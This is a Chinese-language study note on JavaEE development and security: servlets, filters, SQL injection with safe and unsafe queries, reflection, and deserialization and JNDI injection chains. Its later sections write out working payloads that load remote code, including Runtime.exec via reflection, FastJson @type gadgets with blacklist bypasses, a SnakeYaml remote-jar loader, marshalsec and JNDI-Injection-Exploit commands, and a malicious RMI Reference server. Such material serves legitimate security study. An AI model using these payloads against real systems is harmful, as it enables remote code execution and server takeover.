JavaEE安全开发初步学习
JavaEE-IDEA 开发
安装IDEA,激活后安装开发插件
安装JDK,Tomcat,新建项目并配置









1.Servlet
Servlet是运行在Web服务器 或应用服务器上的程序,它是作为来自Web浏览器或其他HTTP客户端的请求和HTTP服务器上的数据库或应用程序之间的中间层。使用Servlet可以收集来自网页表单的用户输入,呈现来自数据库或者其他源的记录,还可以动态创建网页。
创建和使用Servlet




Servlet执行顺序
快捷键:alt+insert


写入内置方法(init service(doget dopost、destroy等) )



2、web.xml配置Servlet路由



post方法



如何接收用户提交的参数并输出在页面

3、WebServlet配置Servlet路由(推荐)

处理接受和回显
HttpServletRequest是ServletRequest的子接口
getParameter(name) — String 通过name获得值
getParameterValues — String[ ] 通过name获得多值
HttpServletResponse是ServletResponse的子接口
setCharacterEncoding() 设置编码格式
setContentType() 设置解析语言
getWriter() 获得一个PrintWriter字符输出流输出数据
PrintWriter 接受符合类型数据
2.过滤器Filter&监听器Listen


JavaEE-过滤器-Filter
Filter被称为过滤器,过滤器实际上就是对Web资源进行拦截,做一些处理后再交给下一个过滤器或Servlet处理,通常都是用来拦截request进行处理的,也可以对返回的 response进行拦截处理。开发人员利用filter技术,可以实现对所有Web资源的管理,例如实现权限访问控制、过滤敏感词汇、压缩响应信息等一些高级功能。
1、创建过滤器
2、过滤器内置方法
init doFilter destroy

调试下方法执行顺序

3、过滤器触发流程(WebFilter或web.xml)
@WebFilter("/index")
<filter>
<filter-name>xssFilter</filter-name>
<filter-class>com.example.filter.xssFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>xssFilter</filter-name>
<url-pattern>/index</url-pattern>
</filter-mapping>
tomcat服务器一打开就触发过滤器的init方法

当 Tomcat 服务器启动(或 Web 应用部署阶段)时,Web 容器会主动扫描所有的
@WebFilter注解或web.xml中的配置。 为了确保在任何外部请求进入之前,系统所有的全局防线(如鉴权、字符集统一、XSS 清洗)都已完全就绪,容器会在应用启动阶段立即实例化所有的 Filter 类,并调用其init()方法。整个应用生命周期中,init()只会被执行一次。


4、案例演示
xss攻击的检测



5、过滤器安全场景
Payload检测,权限访问控制,红队内存马植入,蓝队清理内存马等
内存马参考:https://mp.weixin.qq.com/s/hev4G1FivLtqKjt0VhHKmw
Listen
参考:https://blog.csdn.net/qq_52797170/article/details/124023760
-监听ServletContext、HttpSession、ServletRequest等域对象创建和销毁事件
-监听域对象的属性发生修改的事件
-监听在事件发生前、发生后做一些必要的处理
1、创建监听器


2、监听器内置方法


4、案例演示-session存在的监听


5、监听器安全场景
代码审计中分析执行逻辑触发操作,红队内存马植入,蓝队清理内存马等
3.Maven
IDEA配置maven
下载好设置环境变量后,在命令窗口输入命令mvn -v检查Maven是否安装成功:



配置本地仓库,路径设为刚才创建的文件夹

镜像添加阿里云



4.数据库

1.jdbc
java连接mysql数据库
引用依赖(pom.xml)






注册数据库驱动
Class.forName("com.mysql.jdbc.Driver");



建立数据库连接
String url ="jdbc:mysql://localhost:3306/phpstudy";
Connection connection=DriverManager.getConnection(url,"root","123456");




创建Statement执行SQL
Statement statement= connection.createStatement();
ResultSet resultSet = statement.executeQuery(sql);

结果ResultSet进行提取


拼接不安全写法导致的SQL注入

安全写法(预编译):PreparedStatement
安全写法(预编译): "select * from admin where id=?"
//固定执行语句,无论在这个执行语句加什么内容都不会改变执行语句本身

使用setInt设置预编译的值

2.Hibernate


引用依赖(pom.xml)

Hibernate配置文件(操作数据库)
Java 运行时环境与 MySQL 引擎建立物理 TCP 连接的“握手协议书”。它向底层框架提供了目标服务器的 IP、端口、账密以及需要纳入接管范围的映射实体类。
src/main/resources/hibernate.cfg.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hibernate-configuration PUBLIC
"-//Hibernate/Hibernate Configuration DTD 3.0//EN"
"http://www.hibernate.org/dtd/hibernate-configuration-3.0.dtd">
<hibernate-configuration>
<session-factory>
<property name="connection.driver_class">com.mysql.cj.jdbc.Driver</property>
<property name="connection.url">jdbc:mysql://localhost:13306/demo01?useSSL=false&serverTimezone=UTC</property>
<property name="connection.username">root</property>
<property name="connection.password">123456</property>
<property name="dialect">org.hibernate.dialect.MySQL8Dialect</property>
<property name="show_sql">true</property>
<property name="format_sql">true</property>
<mapping class="com.example.entity.Admin"/>
</session-factory>
</hibernate-configuration>

映射实体类 开发
将底层关系型数据库(二维表结构)强行转换为 Java 内存中的对象(面向对象结构)的“映射锚点”。类名对应物理表名,属性(如 id, username)严格对应物理列名。
src/main/java/com/example/entity/Admin.java

Hibernate工具类
JVM 内存的“闸门”。利用 Java 的静态代码块(static {})机制,确保极度消耗内存的 SessionFactory(数据库连接池、预编译语法树缓存)在整个 Tomcat 生命周期中只被实例化一次,防止内存溢出(OOM)和数据库连接被打满。
src/main/java/com/example/util/HibernateUtil.java

Servlet开发接受(sql执行代码在这)

不安全写法



安全写法
强制类型转换
预编译


3.MyBatis

引用依赖(pom.xml)

MyBatis配置文件(数据库账号密码)
注册映射器,即告诉 MyBatis 框架去哪里加载底层的 SQL 规则(指向 AdminMapper.xml)。
src/main/resources/mybatis-config.xml

AdminMapper.xml创建(执行sql语句)
src/main/resources/AdminMapper.xml

数据实体类(存储数据)

AdminMapper.java (映射器接口)
它是一个纯接口,不包含任何业务实现逻辑。它向业务层暴露了操作数据库的方法(例如 getAdminByIdUnsafe),明确了该方法接收什么类型的输入参数(String id)以及返回什么类型的结果(List<Admin>)。其存在意义是让 Java 代码以强类型、面向对象的方式调用数据接口。

MyBatisTest.java (测试类)

安全写法和不安全写法对比


5.反射
1、什么是Java反射
参考:https://xz.aliyun.com/t/9117
Java提供了一套反射API,该API由Class类与java.lang.reflect类库组成。该类库包含了Field、Method、Constructor等类。对成员变量,成员方法和构造方法的信息进行的编程操作可以理解为反射机制。
2、为什么要用到反射
参考:https://xz.aliyun.com/t/9117
其实从官方定义中就能找到其存在的价值,在运行时获得程序或程序集中每一个类型的成员和成员的信息,从而动态的创建、修改、调用、获取其属性,而不需要事先知道运行的对象是谁。划重点:在运行时而不是编译时。(不改变原有代码逻辑,自行运行的时候动态创建和编译即可)
简单来说就是比如有个类,类下面有方法、变量等东西,利用这个反射技术就能实时操作这个类下的方法、变量等东西(读、写、修改等)
3、反射机制应用
开发应用场景:
Spring框架的IOC基于反射创建对象和设置依赖属性。
SpringMVC的请求调用对应方法,也是通过反射。
JDBC的Class#forName(String className)方法,也是使用反射。
4、反射安全应用场景:
构造利用链,触发命令执行
反序列化中的利用链构造
动态获取或执行任意类中的属性或方法
动态代理的底层原理是反射技术
rmi反序列化也涉及到反射操作
公有私有保护成员变量

有参和无参构造函数

成员方法

1.Class对象类获取
import com.user.User;
public class GetClass {
public static void main(String[] args) throws ClassNotFoundException {
//1、根据全限定类名:Class.forName("全路径类名")
Class aClass1 = Class.forName("com.user.User");
System.out.println(aClass1);
//2、根据对象:对象.getClass()
User user = new User();
Class<? extends User> aClass2 = user.getClass();
System.out.println(aClass2);
//3、根据类名:类名.class
Class userClass = User.class;
System.out.println(userClass);
//4、通过类加载器获得Class对象://ClassLoader.getSystemClassLoader().loadClass("全路径类名");
ClassLoader clsload=ClassLoader.getSystemClassLoader();
Class<?> aClass3 = clsload.loadClass("com.user.User");
System.out.println(aClass3);
}
}

2.Field成员变量类获取

获取公共成员变量对象(public)


获取所有成员变量

获取公共单个成员变量对象

获取私有单个成员变量对象

变量值获取和赋值

3.Constructor构造方法类获取

获取所有公共的构造方法(public)

获取所有的构造方法

返回单个公共构造方法
无参

有参

获取单个的构造方法

对构造方法进行操作(两个参数string,int)

对构造方法进行执行(1个参数string)

4.Method成员方法(非构造)类获取

返回所有公共成员方法对象的数组 ,包括继承的

返回所有成员方法对象的数组,不包括继承的![]()
返回单个成员方法对象

运行方法invoke

安全问题
反射实现命令执行
Runtime.getRuntime().exec("calc");

反射




public class TestCalc {
public static void main(String[] args) throws IOException, ClassNotFoundException {
//Runtime.getRuntime().exec("calc");
Class<?> aClass = Class.forName("java.lang.Runtime");
// Method[] declaredMethod = aClass.getDeclaredMethods();
// for (Method md:declaredMethod){
// System.out.println(md);
// }
Method getRuntime = aClass.getDeclaredMethod("getRuntime");
}
}
下面找exec


Class aClass = Class.forName("java.lang.Runtime"); //获取类
//用method获取成员方法
Method getRuntimeMethod = aClass.getMethod("getRuntime"); //获取成员方法
Method exec = aClass.getMethod("exec", String.class); //获取exec
Object runtime = getRuntimeMethod.invoke(aClass);
exec.invoke(runtime, "calc.exe");

另外一种写法
Class c1= Class.forName("java.lang.Runtime"); //获取类
Constructor m = c1.getDeclaredConstructor(); //获取私有构造函数
m.setAccessible(true);
c1.getMethod("exec", String.class).invoke(m.newInstance(), "calc");
//m.newInstance()堆内存中新建了一个 Runtime 对象实例,获取 exec 方法,并在刚刚强行实例化的新 Runtime 对象上执行该方法,传入参数 "calc"
6.动态代理

代理模式 Java当中最常用的设计模式 之一。其特征是代理类与委托类有同样的接口,代理类主要负责为委托类预处理消息、过滤消息、把消息转发给委托类,以及事后处理消息等。而Java的代理机制分为静态代理和动态代理,这里主要是java自带的jdk动态代理机制
动态代理

1.创建接口及定义方法


2.实现被代理对象

调用处理器
重写invoke方法

创建代理对象并调用方法
客户端/代理生成

Proxy.newProxyInstance 是 Java 动态代理 的核心方法,用于在运行时生成实现指定接口的代理类,并将方法调用转发给指定的 InvocationHandler。它的本质是在 内存中动态生成字节码,无需手写代理类,从而实现 AOP 等功能。
它需要三个参数:
-
参数 1 (ClassLoader):指定用哪个类加载器去定义这个生成的代理类。通常使用目标类或接口的加载器。
-
参数 2 (Interfaces):告诉代理类需要实现哪些接口。因为传了
User.class,所以生成的proxy对象可以被强制转换为User类型。这也是为什么它能调用wcy方法。 -
参数 3 (InvocationHandler):指定方法的转发目的地。当有人调用
proxy.wcy()时,JVM 会直接去运行userImptInhander里的invoke方法。
安全案例:Ysoserial-CC1链-LazyMap


其导致的安全问题是远程代码执行(RCE, Remote Code Execution)。攻击者可以通过发送精心构造的序列化数据,让目标服务器在反序列化(执行 readObject())的过程中,自动执行系统命令(如弹出计算器、反弹 Shell 等)。
以下是该漏洞的核心机制以及动态代理在其中扮演的具体角色解析:
1. 漏洞核心:反序列化与 Gadget Chain
Java 在进行反序列化时,会自动调用对象内部的 readObject() 方法来恢复对象状态。如果类路径(Classpath)中存在存在缺陷的第三方库(如这里的 Apache Commons Collections),攻击者可以利用这些库中已有的类和方法,拼接成一条执行链(Gadget Chain)。
图 1 注释部分清晰地展示了这条链的触发过程:
-
入口点 (Source):
ObjectInputStream.readObject()被服务器调用,解析恶意数据。 -
触发器:自动调用
AnnotationInvocationHandler的readObject()。 -
跳板 (Bridge):动态代理的
invoke()方法被触发。 -
执行器 (Sink):最终调用
InvokerTransformer,通过反射机制执行Runtime.getRuntime().exec()。
2. 动态代理的安全隐患
在正常的业务代码中,动态代理用于 AOP 或解耦。但在反序列化攻击中,动态代理被用作连接入口点和恶意执行类的“桥梁(Bridge)”。
-
AnnotationInvocationHandler的readObject()方法内部,默认只会对其成员变量(一个Map对象)调用.entrySet()方法。这个操作本身是无害的,无法直接执行命令。 -
代理的介入(图 2
createMemoizedProxy):攻击者在构造 Payload 时,并没有传入一个真实的HashMap,而是利用Proxy.newProxyInstance生成了一个实现了Map接口的动态代理对象 (mapProxy),并将其注入到AnnotationInvocationHandler中。 -
劫持控制流(图 1
AnnotationInvocationHandler.invoke): 当目标服务器反序列化执行到Map.entrySet()时,由于这个Map是代理对象,程序的控制流会被强制劫持,跳转到代理绑定的InvocationHandler的invoke()方法中。 -
触发恶意逻辑:在这个 CC1 链的变种中,代理绑定的 Handler 依然是
AnnotationInvocationHandler。它的invoke()方法内部有逻辑会调用底层Map(此处被攻击者替换为了恶意的LazyMap)的.get()方法。 -
LazyMap.get()会触发预先设置好的ChainedTransformer,最终通过反射完成命令执行。
总结
图中的代码本身是一个攻击载荷(Payload)生成器。它暴露的安全问题在于:当应用程序对不可信输入进行反序列化时,如果类路径中存在可利用的类(如带反射调用功能的类),攻击者可以利用动态代理机制(将普通方法调用转化为 invoke 拦截),将原本无害的反序列化操作,强行重定向到恶意的反射调用链上,从而接管服务器。
7.序列化和反序列化

序列化:将内存中的对象压缩成字节流
反序列化:将字节流转化成内存中的对象
几种创建的序列化和反序列化协议
• JAVA内置的writeObject()/readObject()
• JAVA内置的XMLDecoder()/XMLEncoder
• XStream
• SnakeYaml
• FastJson
• Jackson
为什么会出现反序列化安全问题
内置原生写法分析
• 重写readObject方法
• 输出调用toString方法
反序列化利用链
(1) 入口类的readObject直接调用危险方法
(2) 入口参数中包含可控类,该类有危险方法,readObject时调用
(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用
(4) 构造函数/静态代码块等类加载时隐式
序列化-writeObject()
序列化对象的数据

设置对象数据并调用序列化方法,写入文件


反序列化-readObject()


利用
重写readObject方法


toString方法
序列化的对象被输出就会调用toString方法


尝试弹出计算器


利用链必须具备“自包含性(Self-contained)
一条标准的反序列化利用链,其攻击载荷的触发必须是自动完成的,完全不依赖反序列化完成后的外部业务代码。下面严格来说不是利用链



其他类的readObject或toString方法(反序列化类对象可控)






反序列化利用链
利用链也叫"gadget chains",通常称为gadget:
1、共同条件:实现Serializable或者Externalizable接口,最好是jdk自带或者JAVA常用组件里有
2、入口类source:(重写readObject 调用常见函数 参数类型宽泛 最好jdk自带)
3、调用链gadget chain:相同方法名、相同类型
4、执行类sink:RCE SSRF 写文件等等
实现形式
(1) 入口类的readObject直接调用危险方法
重写了
readObject()方法(2) 入口参数中包含可控类,该类有危险方法,readObject时调用
URLDNS 链
(3) 入口类参数包含可控类,该类又调用其他有危险方法类,readObject调用
通过多个中间类(跳板)进行方法传递,最终到达执行危险逻辑的类。
(4) 构造函数/静态代码块等类加载时隐式执行
JNDI 注入
反序列化导致服务器去远程 RMI/LDAP 服务器下载恶意
.class文件。类文件下载到本地后进行类加载,静态代码块自动执行,完成 RCE。
利用条件
1、可控的输入变量进行了反序列化操作
你输入的数据被网站接收并进行了反序列化操作
2、实现了Serializable或者Externalizable接口的类的对象

3、能找到调用方法的危险代码或间接的利用链引发(依赖链)


UrlDns链
利用链跟踪
java.util.HashMap实现了Serializable接口满足条件后,通过HashMap里面的hash到key.hashCode(),key的转变URL类,再到hashCode为-1触发URLStreamHandler.hashCode
HashMap->readObject
HashMap->putVal(put)
HashMap->hash
key.hashCode->
URL.hashCode->
handler.hashCode->
URLStreamHandler.getHostAddress









urldns利用链
参考:https://mp.weixin.qq.com/s/R3c5538ZML2yCF9pYUky6g
搞清楚入口类,需要修改的值,需要传递的值,
创建一个HashMap泛型,(后续操作URL类即int类型值)
在创建一个url连接,(将要请求的地址写入对应代码的U)
用put方法把url数据存放到里面,触发putVal(hash(key)
其中hash里面会调用key.hashCode()
最终触发点是key,所以我们就需要给key的类型设置成URL类,
通过逻辑让hashCode的值为-1后调用handler.hashCode即URLStreamHandler.hashCode,最终调用里面的getHostAddress实现





FastJson反序列化

参考:https://mp.weixin.qq.com/s/t8sjv0Zg8_KMjuW4t-bE-w
类里有存储的数据,set方法以及get方法



1、序列化方法
JSON.toJSONString(),对象转换为JSON字符串;
JSONObject.toJSONString(u,SerializerFeature.WriteClassName)
JSON.toJSONBytes(),对象转换为byte数组;

2.反序列化方法
JSON.parseObject(),返回JsonObject;
JSON.parse(),返回Object;
JSON.parseArray(), 返回JSONArray;
将JSON对象转换为java对象:JSON.toJavaObject();
将JSON对象写入write流:JSON.writeJSONString();

安全问题
无参构造
反序列化(如 JSON 转对象)或数据依赖注入(如 Spring Bean 创建)时,框架底层依赖 Java 反射机制(Reflection)。由于框架在初始阶段无法预知对象的具体参数,它必须先调用无参构造创建一个“空壳实例”,随后再通过其他机制填充数据。如果类中缺失无参构造方法,反序列化通常会抛出异常。
有参构造
执行
new User("xiaodi", 33, 1)时调用
get和set的核心作用在面向对象编程(如 Java)中,为了保证数据的安全性,类的成员变量通常被声明为私有(
private)。get和set是暴露给外部的公开接口,用于合法地访问和修改这些私有变量。这一机制被称为封装。
get方法(Getter / 读取器):用于向外部返回私有变量的值。将内存中的 Java 对象转换为外部传输格式(如生成 JSON 响应给前端)时触发。
set方法(Setter / 设置器):用于接收外部传入的值,并将其赋给私有变量。开发者可以在此方法内部添加逻辑校验(例如限制age不能小于 0)。在反序列化过程中,将外部对象转化为java对象时触发。框架执行完无参构造创建“空壳”后,会解析外部数据的键名(如"name": "xiaodi"),通过反射精准定位并执行setName("xiaodi"),完成数据的注入。
序列化固定类后,反序列化不指定类后
parse方法在调用时会调用set方法
parseObject在调用时会调用set和get 方法

序列化固定类后,反序列化指定类后,parseObject在调用时会调用set方法

Fastjson 自动调用
set和get方法的机制,是其历史上多次爆发远程代码执行漏洞(RCE,Remote Code Execution)的根本原因。漏洞触发机制:
任意类加载: 如果程序接收了来自外部不受信任的 JSON 字符串,攻击者可以恶意构造
@type字段,指定为一个带有危险操作的类(在安全领域称为 Gadget 类)。劫持执行流: Fastjson 会根据
@type盲目地反射实例化这个类。触发恶意代码: 攻击者在 JSON 中伪造特定的属性键值对。Fastjson 为了注入这些属性,会调用该 Gadget 类的
set或get方法。如果这些方法内部包含了危险的底层操作(例如 JNDI 查找、文件读写、动态方法调用),攻击者就能直接接管服务器。
安全利用链
演示:1.2.24及1.2.25版本
结论:反序列化时会调用类里的get及set方法
利用:已知类的调用方法 自带类的调用链固定版本的CVE
黑盒看传递JSON数据尝试替换 白盒看库版本和反序列化方法和对应可控变量
参考:https://mp.weixin.qq.com/s/EPdNElXPcZd5wEmQqAhFiQ
fastjson1.2.24版本
JDK自带链-JdbcRowSetImpl:
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String payload = "{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"rmi://xx.xx.xx.xx/xxxx\", " +
"\"autoCommit\":true" +
"}";
JSON.parse(payload);
反序列化对象:com.sun.rowset.JdbcRowSetImpl
改动的成员变量:dataSourceName autoCommitsetdataSourceName->getdataSourceName
setautoCommit->connect->DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());RMI注入:触发RCE
DataSource var2 = (DataSource)var1.lookup("rmi://192.168.1.2:1099/jvelrl");






生成RMI恶意调用类:
"C:\Program Files\Java\jdk1.8.0_111\bin\java.exe" -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"


从1.2.25开始,官方加入了黑白名单机制。若使用1.2.24的poc,会发现报错“autoType is not support”,这是因为官方在com.alibaba.fastjson.parser.ParserConfig加入了checkAutoType()方法,当autotypesupport属性为false时,就会检测json中@type的值开头是否与黑名单中的值一样,若一样则会直接抛出异常。

POC1:【1.2.25-1.2.41】
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://vps_ip:9999/badClassName","autoCommit":true}
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{" +
"\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
"\"dataSourceName\":\"rmi://192.168.230.1:1099/zsxpdx\", " +
"\"autoCommit\":true" +
"}";
JSON.parse(payload);
这个POC给首尾添加了L和;,这是因为当autoTypeSupport开启或expectClass不为空时,会调用TypeUtils.loadClass()方法。若类名以L开头;结尾,就会把首尾这两个字符去掉并加载类。
String payload = "{" + "\n" +
" \"a\": {" + "\n" +
" \"@type\": \"java.lang.Class\"," + "\n" +
" \"val\": \"com.sun.rowset.JdbcRowSetImpl\"" + "\n" +
" }," + "\n" +
" \"b\": {" + "\n" +
" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\"," + "\n" +
" \"dataSourceName\": \"rmi://192.168.230.1:1099/zsxpdx\"," + "\n" +
" \"autoCommit\": true" + "\n" +
" }\n" +
"}";
JSON.parse(payload);
1.声明类型为基础类 java.lang.Class。 // 这会导致 Fastjson 分配无安全限制的 MiscCodec 反序列化器来处理当前逻辑。
2. MiscCodec 会提取 val 的值,通过底层 TypeUtils.loadClass() 加载该目标类。 // 加载成功后,由于底层逻辑缺陷,该恶意类会被强制写入到 Fastjson 的全局信任缓存池 (TypeUtils.mappings) 中。
1.2.25-1.2.32:未开启AutoTypeSupport时可以成功利用,开启AutoTypeSupport时不能成功。
1.2.33-1.2.47版本:无论是否开启AutoTypeSupport都可以成功利用。
checkAutoType()在执行安全检查时,核心执行顺序如下:
查缓存: 检查 Fastjson 的内部全局缓存
TypeUtils.mappings中是否已经加载过这个类。如果存在,系统认为这是一个“安全且可信”的类,直接放行并返回目标类。查黑白名单: 检查类名是否在黑名单或白名单内。
查开关: 检查
autoTypeSupport是否为 true。如果是 false,则抛出异常拦截。
1. 1.2.25 - 1.2.32 版本:缓存检查位于黑名单之后
在这个阶段的版本中,
checkAutoType的代码执行流是这样的:
当开启 AutoTypeSupport (为 true) 时:
程序首先进入
if (autoTypeSupport)逻辑块。在该逻辑块内,立刻执行黑名单校验。
因为
com.sun.rowset.JdbcRowSetImpl早就被 Fastjson 加入了黑名单,校验命中,程序直接抛出异常并终止。结果:利用失败。代码根本还没来得及执行到下面去查缓存,就被拦截了。
当你关闭 AutoTypeSupport (为 false,默认状态) 时:
程序判断开关为 false,跳过上述的
if逻辑块(完美避开了第一波黑名单检查)。代码继续往下走,执行到了查缓存逻辑 (
TypeUtils.getClassFromMapping)。因为缓存中已经被 POC 的第一阶段塞入了恶意类,此时缓存命中,直接
return clazz;返回该类。结果:利用成功。后续的拦截逻辑被彻底绕过。
2. 1.2.33 - 1.2.47 版本:查缓存被移到了函数最开头
在 1.2.33 的代码更新中,Fastjson 开发者可能认为“只要是存在于自身缓存里的类,就一定是我们自己加载过的、安全的类”,为了优化性能,他们把查缓存的逻辑上移到了整个
checkAutoType函数的绝对第一位。在这个阶段的版本中,代码执行流变成了这样:
POC 第二阶段请求实例化
JdbcRowSetImpl,进入checkAutoType。函数执行的第一步:查缓存 (
TypeUtils.getClassFromMapping)。因为缓存早就被投毒,缓存瞬间命中,直接
return clazz;结束整个函数。结果:无论如何都成功。 因为在第一步就 return 了,代码永远没有机会向下执行去判断
AutoTypeSupport是 true 还是 false,也永远没有机会去触碰黑名单检测代码。
SnakeYaml序列化
SnakeYaml反序列化
SnakeYaml是Java中解析yaml的库,而yaml是一种人类可读的数据序列化语言,通常用于编写配置文件等。
SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化:
Yaml.load():反序列化 将YAML格式的字符串或文件内容转换成Java对象;
Yaml.dump():序列化 将一个Java对象转化为yaml文件形式;
测试总结:load和loadas(dump)都调用了对应的set方法
依赖
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.32</version>
</dependency>



参考:https://www.cnblogs.com/F12-blog/p/18151239
URL链(JAVA自带链)


JNDI注入
String dump="!!com.sun.rowset.JdbcRowSetImpl\n" +
"dataSourceName: \"ldap://192.168.230.1:1389/puidtz\"\n" +
"autoCommit: true\n";
//com.sun.rowset.JdbcRowSetImpl是java自带类\n;

RCE(自带链+利用SPI机制)
https://github.com/artsploit/yaml-payload/
编译项目源码(把该项目打包成一个jar)-命令编译
"C:\Program Files\Java\jdk1.8.0_111\bin\javac.exe" src/artsploit/AwesomeScriptEngineFactory.java
"C:\Program Files\Java\jdk1.8.0_111\bin\jar.exe" -cvf yaml-payload.jar -C src/ .
python -m http.server 9999


String dump ="!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:9999/yaml-payload.jar\"]\n" +
" ]]\n" +
"]\n";



该利用链完全不使用 JNDI。它通过 URLClassLoader 直接下载远程 Jar 包,并利用 SPI 原生的服务发现机制触发恶意类加载。由于执行路径彻底避开了 JNDI API,它成功绕过了 JDK 针对 JNDI 的安全防御策略限制,实现了实战中的高危利用。
8.jndi注入


JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。javax.naming.InitialContext.lookup()看到 Reference 就会自动去 URL 指向的地方下载代码并在本地运行
在RMI服务中调用了InitialContext.lookup()的类有:
org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)
在LDAP服务中调用了InitialContext.lookup()的类有:
InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()

这两行代码就是典型支持jndi注入的条件
InitialContext varr1=new InitialContext();
varr1.lookup("rmi://192.168.230.1:1099/yy3bm8");

修改为dns协议


JNDI注入-工具-marshalsec
项目地址:https://github.com/mbechler/marshalse
这个项目就是自己写一个危险代码类,然后编译成class文件放到网站目录下,用该项目生成一个调用地址,相当于中转作用。
1、编译调用对象(生成class文件)
javac Test.java

2、将生成的Class存放到网站访问路径,使用利用工具生成调用协议(rmi,ldap)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#Calc

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8888/#Calc

3、触发JNDI注入




JNDI注入-工具-JNDI-Injection-Exploit
项目地址:https://github.com/welk1n/JNDI-Injection-Exploit
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx


JNDI注入-手工
bind:将名称绑定到对象中;
lookup:通过名字检索执行的对象;
Reference类表示对存在于命名/目录系统以外的对象的引用。
Reference参数:
className:远程加载时所使用的类名;
classFactory:加载的class中需要实例化类的名称;
classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;
1、Server注册监听
// 在本地服务器开启一个监听在 7778 端口的 RMI Registry(RMI 注册中心)
// 该端口用于接收受害者客户端发起的 JNDI lookup 请求
Registry registry = LocateRegistry.createRegistry(7778);
// 构造恶意的 JNDI Reference(引用对象)
// 参数1 "Calc" (className): 指示客户端该引用对应的目标类名为 Calc
// 参数2 "Calc" (factory): 指示客户端实例化该对象所需的工厂类名为 Calc
// 参数3 "http://127.0.0.1:8089/" (factoryLocation): Codebase 地址。利用 JNDI 底层机制,强制指示客户端通过 HTTP 协议去该地址下载 Calc.class 字节码文件
Reference reference = new Reference("Calc", "Calc", "http://127.0.0.1:8089/");
// RMI 规范要求绑定到注册中心的对象必须实现 java.rmi.Remote 接口
// 因为 javax.naming.Reference 原生未实现该接口,必须使用 ReferenceWrapper 进行合法化包装
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
// 将包装好的恶意引用对象绑定到刚才开启的 RMI 注册中心,并命名为 "RCE"
// 最终暴露给受害者的完整请求路径为:rmi://127.0.0.1:7778/RCE
registry.bind("RCE", wrapper);



Clinet连接触发
String uri = "rmi://127.0.0.1:7778/RCE";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);

JDK高版本注入绕过

JDK 6u45、7u21之后
java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加RMI ClassLoader安全性。
JDK 6u141、7u131、8u121之后
增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
JDK 6u211、7u201、8u191之后
增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
9.XStream
一个简单的基于Java库,将Java对象序列化为XML,反之亦然(即:可以轻易的将Java对象和XML相互转换)。
1.4.5版本


序列化Car类
Car car = new Car("Ferrari", 4000000);
XStream xStream = new XStream();
String xml = xStream.toXML(car);
System.out.print(xml);
执行代码把数据转换为xml格式

反序列化Car类
String xml = "上述序列化类的数据";
XStream xStream = new XStream();
xStream.fromXML(xml);



和原生反序列化的异同点
XStream 本质上是一个将 Java 对象与 XML 文本进行互相转换的第三方库。正常情况下,XStream 反序列化时会利用反射机制(或
sun.misc.Unsafe)直接在内存中分配对象并为属性赋值,它默认并不会去调用对象的readObject方法。导致这两者表现一致的根本原因,在于你XML Payload 中的这行关键代码:
<Car serialization="custom">
serialization="custom"的特殊作用: 这是 XStream 协议中的一个特殊指令。当 XStream 解析到这个属性时,它会改变默认的反射赋值行为,转而模拟 Java 原生的反序列化流程。底层模拟: XStream 内部会实例化一个名为
CustomObjectInputStream的类,由这个类去显式地调用目标类(Car)中自定义的private void readObject()方法,以此来完成对象的重构。核心区别在哪里?
虽然 最终执行点都是
readObject,但 数据入口和解析引擎不同,这在安全攻防中意义重大:
数据格式(Bypass WAF 的关键):
原生反序列化:必须接收并解析特定的二进制字节流(特征值开头为
aced 0005)。大多数网络防火墙(WAF)只要拦截包含该特征的流量即可防御。XStream 反序列化:接收的是纯文本的 XML 格式数据。它相当于给原生的反序列化漏洞套上了一层 XML 的外壳,这种伪装极大概率能绕过只针对二进制流的安全检测设备。
依赖链的复用: 正是因为 XStream 提供了
